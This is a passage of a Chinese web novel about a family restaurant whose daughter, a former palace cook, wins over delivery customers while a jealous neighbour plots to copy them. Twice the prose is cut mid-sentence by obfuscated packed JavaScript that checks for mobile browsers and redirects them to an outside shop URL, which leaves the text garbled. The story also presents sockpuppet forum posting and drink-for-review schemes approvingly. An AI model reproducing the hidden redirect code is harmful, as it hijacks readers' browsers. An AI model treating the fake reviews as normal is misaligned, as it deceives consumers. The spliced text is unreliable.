一个听上去充满倨傲的男声响起：“夏英枝是吧？你们这个店，线上流量做的太差了。我是觉得你们有潜力，这才推一把。你不要那么死脑筋，外送的单子挣的少，你可以少装一点嘛，盒子小一点，压缩成本……” 温母：“这不是压缩成本的事，你谁啊？” “我是这个片区的负责人，说真的，你们店都开一周了，再不推流，后面就只能被压在下面。你们店的各个评价我都看了，是有潜力成为一个千单店铺的……” 这人说了一大通。 温母还是坚持：“不需要，请你把活动撤下，不然我就投诉了。” 那头沉默了一会儿，电话换了人，推销员又接过电话，语气无奈道：“好的，那我给您操作下退款，活动也下架。” 电话挂断。 推销员看着身边的经理：“我就说这家店不会愿意的。”这位经理是新官上任，又到了月末，非要做出个好业绩，可这种瞒着店家上活动的行为，总部查出来也是要罚的。 经理烦躁的抽着烟，声音多了一层暴躁：“都说了糊弄点糊弄点，这人真是死脑筋。” “那我给她退款了？” “退吧，给这家店降权。真可笑，还以为纯靠堂食能做大。现在餐饮不做线上，基本等于慢性死亡。就这种小店铺，我见多了，每年都要倒下一大片。不参加活动是吧？行，往后都不用参加活动了，我看这家什么时候关店。” 温母还不知道有人等着看自己的好戏，她只知道，两个兼职工到位，每天的外送就有了着落。 曲晓宇和杨韬，两个人被家长拉到店里，刚进门就被一股麻辣香味冲的打了两个喷嚏。 温母和颜悦色道：“来来来，先吃饭咱们再说。” 被家长拉出被窝的怒气，突然像是瘪了气的气球，曲晓宇和杨韬乖乖坐下。 14.014 水煮肉片这道菜是温梵现学的，在她原本的世界中，辣椒虽然已经有了，但后宫中饮食多有定例，辣椒辛辣的口感，以及吃起来满头大汗的样子实在不雅，所以各宫基本从不点这样的菜，至于宫女太监们，要伺候主子，莫说是辣椒了，味道稍微大一点的葱蒜都不入口。 温梵倒是喜欢这样痛快的味道，可也只有寥寥几次休息的时候才偷偷煮一点，她也听宫女们提起在西南大山里，人们为了防瘴除湿，格外爱吃辣椒。 可就算是西南大山的人，只怕见到现代人吃辣的程度，也要大吃一惊。 温梵去一次菜市场，各色各样的辣椒成麻袋堆放，干的，湿的，红的，黄的，青的…… 守档口的小生意人们点一份麻辣烫，里面的红油辣椒厚厚一层，即便这样，还有人嘀咕着说不够辣。 所以温梵在做水煮肉片时候大刀阔斧的放辣椒。 除去外送的餐点后，温梵又做了一份自家人吃的。 青笋豆芽豆腐皮垫底，肉片嫩滑泡在红油中，上面的一层蒜末葱花干辣椒被热油激发出香味，给这一盆香辣鲜香增色不少。 曲晓宇刚过十八，个子倒是不低，就是人泛着一种惨白的虚胖，人也腼腆，站在那儿不好意思接话。一旁的杨韬，眼神清澈愚蠢，但胜在之前没少帮他妈看店，所以对邻居还都挺熟悉。 温父给两人各盛了一份饭：“你俩还没吃饭吧？” 杨韬挠挠鸡窝头：“没呢温叔，这菜真香啊。” 他刚才正睡得香呢，被亲妈一把拉开窗帘，遮光窗帘一开，他就跟吸血鬼头一次见到阳光一样尖叫，偏偏他妈还揪着不让他睡。 “你再这么下去，我都怕你吸我阳气，赶紧的，你今天必须给我出去见见太阳！” 宋慧女士嫌弃的很：“白天不起晚上不睡，一到半夜就起来方便面打鸡蛋，你上辈子方便面成精啊？给我起来！” 杨韬被亲妈赶起来，随便套了一身衣服送到店里。 原本他还格外不情愿，可闻到味道，他就不这样想了。 温母递过来的米饭他稳稳接住，一点没有不好意思：“谢谢夏姨，我就不客气了！” 说完戳一肘子曲晓宇：“还愣着干嘛？吃啊！” 曲晓宇哦了一声，红着脸，声音像是蚊子一样说谢谢。 温母笑道：“没想着你妈妈和你姐姐动作这么快，今天菜少，简单吃点。” 桌子上只有一盆水煮肉片，还有中午炒的一点素菜。 杨韬大口咽下一片肉片，两眼冒光：“不少不少，这水煮肉片太对味儿了！” 盆中浮着一层红油，油面上是各色辅料和浸泡在红油中的肉片，肉片上附着着零星的白芝麻或者花椒粒，把肉片盖在米饭上，筷子上堆叠着米饭和肉片，同时入口后，肉片的嫩滑麻辣和被红油浸润的米饭，麻辣鲜香，格外下饭。 杨韬吃的起劲，曲晓宇虽然不说话，但动作不是假的，筷子舞的比谁都快。 温梵轻笑一声，两个年轻人的参与，忽然让她有一种回到御膳房的错觉。一群小宫女小太监，伺候人时候不显幼稚，下了值，吃饭时候也是这样你争我赶。 杨韬咽下一大口米饭，有点不好意思：“小梵你也吃啊。” 他也怕自己饭量大，再给夏阿姨家这个腼腆小妹妹吓的不敢夹菜。 旁边曲晓宇也顿了顿筷子，收敛的连刨几口米饭。 温梵戳戳碗里的米饭：“没事，你们吃吧，我不太饿。” 她上午做菜时候试了两次，已经吃了半饱。 杨韬挠挠头，嘿嘿笑：“夏姨，我能喝瓶可乐不？” 这种香辣菜式，不喝可乐什么劲！ 温母一拍脑门：“忘了，老温，给俩孩子拿个饮料……” 温梵默默看着温母，里面无声的期盼都要变成实质小手拽住温母的袖子。 温母：“……多拿一罐。” 温梵瞬间像是星星掉进了眼里。 温母失笑：“真是……” 以前也不见她这么爱喝可乐。 中午这顿饭吃的快速，杨韬喝曲晓宇只顾埋头狂吃，不好意思多吃肉，俩人甚至在吃完一碗饭之后，用红油拌了第二碗，如果不是饭没了，还要跃跃欲试来第三碗。 甚至在最后，温母端起剩下的红油打算倒掉的时候，俩人还依依不舍的目送，大有想把菜汤都打包回家的冲动。 杨韬回过头，一脸钦佩：“温叔，你做菜真好吃。” 温父呵呵一笑：“不是我的手艺，你妈没给你说？现在店里都是小梵做菜。” 杨韬啊了一声：“小梵不读了？” 温父赶紧摆手：“哪儿啊，还读。这不是暑假么，小梵手艺比我强，体谅我呢。也亏得小梵了，现在的好生意都是她带来的。” 杨韬比了个大拇指：“咱妹的手艺是这个，今天这水煮肉片，我上哪儿吃都没这个味！” 温父比被人夸了自己还高兴。 “温叔，夏姨，您瞧好吧，看在咱妹这手艺上，我俩指定好好干！” 杨韬干劲十足，很快就跟曲晓宇注册好账号，把自己的骑手号绑定在店铺名下。 这一绑定，杨韬才发现店里的评价和单子少的可怜。 “这不应该啊，咱妹的厨艺不说全市第一，咱整条街第一是没疑问的，咋就这么点单？” 温梵在旁边的桌子上看书，觉得杨韬一口一个咱妹，听着竟然不让人觉得冒昧。 “我们家店不上活动，所以平台给降权了。”温梵翻过一页书，温母跟平台的争执她听见了一半，然后就去搜了搜，这才了解降权是个什么事。 基本等于自家的外卖店铺不会再有自然流量，除非顾客主动搜索。 杨韬：“这黑心玩意儿，别怕老妹儿，哥给你宣传宣传！” 宋慧是东北人远嫁，杨韬虽然平时普通话，但偶尔急了也会冒出自己的东北口音。 杨韬作为全年高强度互联网冲浪选手，玩网络自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16210271|181051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然是比温母要强出很多。 他也没跟平台纠缠，而是直奔本地的论坛和贴吧开贴，又调出温家店铺在点评网站的页面。 刷刷几个贴子发出去，标题一个比一个吸引眼球。 有装作店家的——《平台抽点太高，店铺只有味道没有流量是不是活不下去》。 然后杨韬切了三个小号回复，一个表示同情，说自家的店铺也是这样，不做活动就是半死不活，可做了活动就是给平台挣钱。唉怎么办只能熬，餐饮人加油啊。 一个现场开杠，说什么店口气这么大，味道好？有多好？好过金玉堂？生意起不来就反思反思自己，找找自己的原因，这么长时间了，有没有认真工作，努力了吗？ 第三个回复拱火架秧—— 【到底哪家店？说出来让我们去探探看！是真好吃还是活该倒闭，到时候我自有论断！】 …… 温母和温父目瞪口呆，温梵则是叼着吸管，对这个刚才看起来憨大傻粗的杨韬改观。 ——他如果进宫，少说也能穿上锦鸡补子。 杨韬手指上下翻飞，一边装作店家，一边装作顾客。 《你们放暑假有没有想过学校的饭啊？我肯定是被虐习惯了，居然还想吃学校的饭》 《自学中医，我给儿子开了几个药方子，偏偏两岁儿子就要吃外卖》 《北方人是不是特别爱吃主食，我点个盖浇饭，结果送来的是盖浇面，虽然也还好吃，但我总觉得面条不如米饭》 …… 杨韬眉飞色舞传递自己的理念：“网上想要流量，就那几样东西。” 地图炮，中医西医，男女，婆媳，有没有努力…… 温梵暗暗记下。 再看一眼杨韬。 嗯，锦鸡补子有点低了，孔雀补子差不多。 **** 也不知道是中午杨韬的帖子起了效果，还是中午图书馆的几个单子得到了正向反馈，反正当晚，店里的外卖平台单量破了新高。 一晚上十来单，杨韬和曲晓宇跑了快一个小时才送完。 温母合上记账小本子，激动道：“破千了！” 温父和温梵互相看了一眼，一家三口都格外高兴。 对于这样一个小小的店铺来说，能有这样的收入，已经是很难得了。 “我明天再去买点饭盒。” 小饭桌的人越来越多，晚上温母的手机又接连响了几声，群成员已经到了十七个。 不过……温母点开群成员页面，只见里面一个赛一个抽象的名字和头像。 “真是奇怪了。” 子涵妈妈介绍来的那几个都是进群直接标注孩子名字，可后来这些，进来之后都改的什么。 【土豆家属】 【冬瓜的连襟西瓜】 【番茄的妻子鸡蛋】 【榴莲的心上人】 …… “明天送到了，这名字叫人怎么喊的出口哦。” 15.015 吴娜点了一份晚餐外卖，点完之后连玩游戏都不专心了，时不时就要点开页面看看餐送到了哪里。 一看到距离缩短到三十米，吴娜不等人按响门禁，就急匆匆把门禁打开，给对方留言。 【门禁已经开了！】 说罢吴娜就站在电梯门口等着电梯上来。 自从吃上温家的外卖，她每天最大的兴趣就是等着外卖到达。 杨韬扶了扶头盔，把外卖送到吴娜手上，乐呵呵打个招呼：“吴娜是吧？小老板说给你送了一份腌辣椒。” 自从下午见到温梵在后厨面不改色颠大勺的样子，杨韬直接改了口，管温梵叫起小老板。 吴娜先是懵了一下，满脑子都是——“这人谁啊”“小老板是谁”“送了东西？”，过了三秒才反应过来。 “……哦，你说饭店那个小姑娘，你是她……” 杨韬乐了：“你没看着配送费低了一块吗？现在外卖不是走平台了，我是店里的外卖员，叫杨韬。袋子里是温梵送你的腌辣椒，说是谢谢你教她在网上找课程。” 温梵这几天除了做菜锻炼就是在网上刷网课，刷了几节课后，她觉得十分有用。又想起来这几天店里的腌辣椒总是供不应求，好几次吴娜点上了，温母又带着歉意打电话过去说没有了。 于是温梵特意多做了点腌辣椒，给吴娜送一些。 吴娜顿时心里一暖：“太客气了。” 温家一家三口操持着一个小店铺，吴娜倒是没想到温梵还能记住自己说的话，还特意给她送东西。 “多少钱……” “说啥钱啊，给个好评就得。”杨韬热情洋溢：“来来来，加个联系方式，三十字好评带图片，可兑换饮料一瓶。” 温母进了一批小包装的可乐饮料，矮墩墩一瓶只有二百毫升，温母打算用来做一做外卖平台的活动。 虽然不参加满减，但是消费满二十就可以送一瓶可乐。 倒是杨韬想着刷刷评论总是好的，于是给温母提建议，把满二十改成好评送饮料。 效果倒是立竿见影，两三天就多了四五条好评。 吴娜自然答应，利索的加上联系方式。 带着外卖回到自己的温馨小屋，吴娜心情大好。 先拍一张腌辣椒的照片发给母上，炫耀一下自己得了小老板的特殊优待，看着手机上出现的【正好我还没吃晚饭，给我留着，我晚上回去配粥】，吴娜笑了。 自从她最近胃口好起来，其实对腌辣椒已经没有那么执着了，只有李梅女士，虽然吃过温家的外卖，但依旧对腌辣椒情有独钟。 用李梅女士的话来说，那就是“这东西看着平平无奇的，配粥最合适”。 尤其是没胃口的早班，两口腌辣椒，一下子就活过来了。 吴娜揭开外卖餐盒，今晚她点了鱼香肉丝盖浇饭。 要说配米饭，吴娜心中的no.1肯定是番茄炒蛋，但鱼香肉丝也能占到自己心目中的前三。 酸甜咸辣的复合口味，浓稠顺滑的汤汁，本身就是为了拌米饭而生的！ 鱼香芡汁盖在米饭上，经过一路的融合，浓郁的汤汁已经跟米饭不分你我，这时候就不应该用筷子了，而是一把大勺子，唏哩呼噜的一搅和，饭菜变得糊里糊涂。然后来上一大口…… 吴娜满足的眯起眼睛。 正在享受美味的档口，吴娜的手机滴了一声。 吴娜拍下的盖浇饭照片锁屏上浮现一个最新消息，来自苗苗姐。 【小娜娜，明天有安排没？没安排咱们出去玩啊。】 吴娜一手回信息，一手抓着勺子不丢手。 【没安排，你不考公呢嘛？】 手机那边是吴娜的同校学姐，林苗苗。比她高一届，开学就大四了。两人是老乡，又兼着初中高中大学都是同学，因此不出意外的成了闺蜜。 林苗苗很快回复。 【太痛苦了，准备明天给自己放个假。】 吴娜十分同情对方，大学到了第四年，仿佛一切压力都吻了上来。往年林苗苗回来后，三天两头都要约着她出去玩一玩，哪怕是不出去，俩人也会一起到吴娜家或者林苗苗家，玩玩游戏再聊聊八卦。 可今年还没暑假，林苗苗就开始纠结了。 一边犹豫要不要留校考研，一边又想着回家考公，纠结了半拉月，最后还是回来老家。 林苗苗字里行间都是烦躁。 【我妈让我一手准备考研，一手准备考公，再准备事业单位，刚才还问我教资考试参不参加……我千手观音啊！】 林苗苗本就压力巨大，被家里人这样说，整个人都不好了。 【反正我在图书馆也看不下去书，还不如明天给自己放一天……半天假！】 吴娜赶紧安抚，【半天假就半天吧，你想去哪儿玩？】 【我也不知道。】 【不然我明天陪着你去图书馆吧？听说那儿挺大的，我还没怎么去逛过】。 吴娜已经听出了林苗苗的情绪不对，并不是因为课业压力，而是父母的不理解。这种情况下就算是两人出去玩，也怕林苗苗回去之后会自责浪费时间。 与其放纵一时，过后再内耗，不如哪里都不去，就在图书馆待着。 【正好，我有家特别好吃的外卖推荐给你。】 **** 温梵皱着眉看出现在店里的一个女人。 此时饭点已过，温家夫妻收拾了桌椅板凳，正准备打烊。 接连几天的好生意，再加上杨韬和曲晓宇的勤快，温母每天看着店里的营收眉开眼笑。 温父虽然还在做他的煲仔饭，但是空闲时间里，他也会试着复刻一下温梵别的菜。 在这个过程中，温梵很遗憾的发现，她爸在厨艺上是真的悟性不够。他会一次又一次的重复训练，也会照着她的做法精确到分秒。 但一味的复刻从来不是成功的途径。 温梵可以自信的说，就算是最简单的一道清炒小菜，温父做到了跟她差不多的步骤，俩人的味道也会有三分差别。 这三分的差别就是一个好厨子和顶尖厨子的差距，也是勤奋最难补足的那点天赋直觉。 于是温梵索性给温父指了一条明路，温父这个岁数再去一点点学习火候调味，时间是不等人的。 “爸，不如你先从凉菜小菜开始吧。” 温父优秀的刀工，小菜才是最容易拿下的。 温梵示范了一次给他看：“爸，你要是学会凉菜小菜，咱们中午就再上一个凉菜拼盘。” 凉菜最重要的就是处理食材和调味。 温梵把店里剩下的一块干面筋泡发，煮熟之后捞出沥干，另拿一个大碗放入蒜末芝麻葱花辣椒面，浇入热油之后再放芝麻酱生抽醋，搅拌一下，再放盐和糖。 温梵尝了一口，又豪迈的多撒了一勺白糖和一勺香油。 “这道菜可以做偏甜口一些，还有就是店里的油要换，蒜也是，嗯，辣椒面等明天我配一点，爸你拿去找个店给打成细辣椒粉。” 温母夹起一块麻酱面筋，她已经习惯了女儿做出一道超好吃的菜，但最后却喋喋不休说如何如何才能更好的习惯了。 温父则是埋头苦写，把每个步骤都记的无比详细。 一家三口都在后厨待着，直到外面有一道尖刻的女声喊着有没有人。 温母赶紧出去招呼：“不好意思，咱们店里打烊了。” 话说完，温母才看清楚人脸。 对方是跟自家隔着几个铺面的卖米线的一家夫妻俩，女的姓孙。 “小孙啊，你咋这个点还没吃呢？” 孙梦云眼珠子一转，笑着说道：“这不是忙活的忘了嘛，姐，这会儿还有啥吃的？” 要是旁人来，温母自然是说没有，可孙梦云是一条街的街坊，低头不见抬头见，温母也不见外，直说店里还剩了一点米饭。 “分量不够一份了，你要吃的话，我叫老温给你炒炒。不算你钱了。” 孙梦云嘴上说着哪儿能这样，身子却一点不动弹，毫不客气就坐下。 温父进了后厨炒饭，温梵靠在柜台后面，目光凉凉的划过孙梦云。 孙梦云此刻正拉着温母扯三扯四，说过了东家西家，又扯了几句生意好坏，温父已经炒好了米饭，简单的蛋炒饭，里面就放了点葱花。孙梦云吃了两口，给夸的天上有地上无。 “要不说你家生意最近好呢，姐夫手艺真是好。” 温母有些奇怪，这一条街几十家店铺，现在经常来光顾的几家，都知道她家是温梵颠勺，怎么孙梦云…… 哦也是，孙梦云两口子节省，基本没在外头吃过。 温母心里有点不舒服，想起左右邻居关于孙梦云的一点不满。 “那小孙，节省的太过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16216435|181051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，谁家晚上剩点啥，她都要装模作样的去问人家还要不要，到最后都给她算不了钱。” “谁说不是，我家有点临期的零食，放门口本来打算一块两块的清仓，她倒好，带着孩子从这儿过就掂走了，一问就说是以为我不要了。问她要钱吧，那是临期的，不要吧我心里憋屈。” “那次更搞笑，拦住我说她有点烧，问我有没有退烧药，给她掰一片就行。这我哪儿敢！” 温母回过神，存了一点心，什么都没说。 孙梦云本来好像是要说点啥的，可等到炒饭上来，她尝了一口，倒不说了。乐呵呵的吃完，嘴巴一抹就回了自家。 温母摇摇头，把碗收起来。 另一边孙梦云回了自家店铺，兴冲冲跟丈夫吴大能说道：“我瞅着老温家还就那样，做的东西跟原来没多少差别。我就说吧，根本不是老温手艺变好了，纯粹就是最近盖浇饭好做。” 孙梦云戳一拐子吴大能：“你想好了没？不趁着这段时间把咱店铺改了，再有一个多月就要开学了。” 都是一条街的店，孙梦云是眼睁睁看着温家的生意一天比一天好，刚开始还不显，结果这几天看到夏英枝找了邻居的孩子兼职送外卖，孙梦云坐不住了。 “我可算过了，她家这生意，少说一天也有一千多。你想想，这可是暑假！” 孙梦云眼馋温家的生意，那老温家刚开店时候她就去凑过热闹，吃了温父做的一碗盖浇饭，味道也就那样。 谁承想，那种手艺，现在都能挣钱了？ 孙梦云回到自家就开始撺掇丈夫改改招牌。 “不就是个盖浇饭盖浇面，能有多难？咱们两家店面积差不多，也不用动多的地方，只需要把店招牌改了，买俩电饭锅。” “面条买现成的，米饭提前蒸好。炒菜你随便炒炒就行，这样一改，咱还省事呢，不用饭点现去煮米线。” 孙梦云越想越觉得这是个可以做的买卖。 吴大能嗫嚅了半天：“我就是觉得咱现在就挺好，做米面总没有米线挣头大。” 米线一碗定价十二，做盖浇饭一份也才十二三。 可米线泡发了一碗才放多少？ 怎么看做盖浇饭都不如米线省事。 再者，吴大能也对自己的手艺不自信。 他就是花了一万多块学了个做米线，旁的东西，他做的甚至还没有妻子做的好。 “再说了，一条街上的，咱卖一样的东西，这不成打擂台了吗？” 吴大能不想干。 孙梦云却自有自己的一番道理。 “一条街咋啦？哦，她做了这门生意，这生意就都是她的了？别人都不能做？说破大天也没有这样的道理。她干她的，咱干咱的。各凭本事罢了！姓吴的，你不要老是缩着脑袋，人家都能干，咱有啥不能干？” 孙梦云一脸恨铁不成钢：“老温家以前生意那么差，最近生意突然变好，你瞅着就不着急？” 吴大能没话说，他心说着啥急？人家生意好是人家的。 他不急，孙梦云急。 看着别人力争上游了，那股迫切简直要从心里跳出来。 甭管怎么着，反正不能这样下去了。 店里一天外卖加堂食就卖五六百，看人家卖那么多，孙梦云恨不得扑上去把生意都抢过来。 吴大能：“我瞧着他们不像是光做店里和外卖生意，你要不再看看？” 孙梦云神秘一笑：“还用你说？我早问出来了！” 孙梦云神秘兮兮掏出来一个宣传扇子。 “这就是他们家生意好起来的原因。” 为了这把扇子，孙梦云先是拦住了杨韬套了话，知道了杨韬每天中午要先送图书馆的单。然后孙梦云就找去了图书馆。 这不去不知道，一去吓一跳。 孙梦云懊恼起来，谁能想到，图书馆这边竟然藏着这样大的一个商机？ 这乌压压的人啊，中午都在点外卖。门口的架子都摆了十来个，专门用来放外卖。 正巧孙梦云瞟见了有个人手上拿着这把扇子，就厚着脸皮要了过来。 她总算是破解了温家生意的秘密！ 就在这小小的扇子上！ 孙梦云胸有成竹：“咱们呢，招牌先不着急改，主要就是把暑假这波流量抓住。等明个，我也去做点扇子，进点饭盒。咱们也做小饭桌！”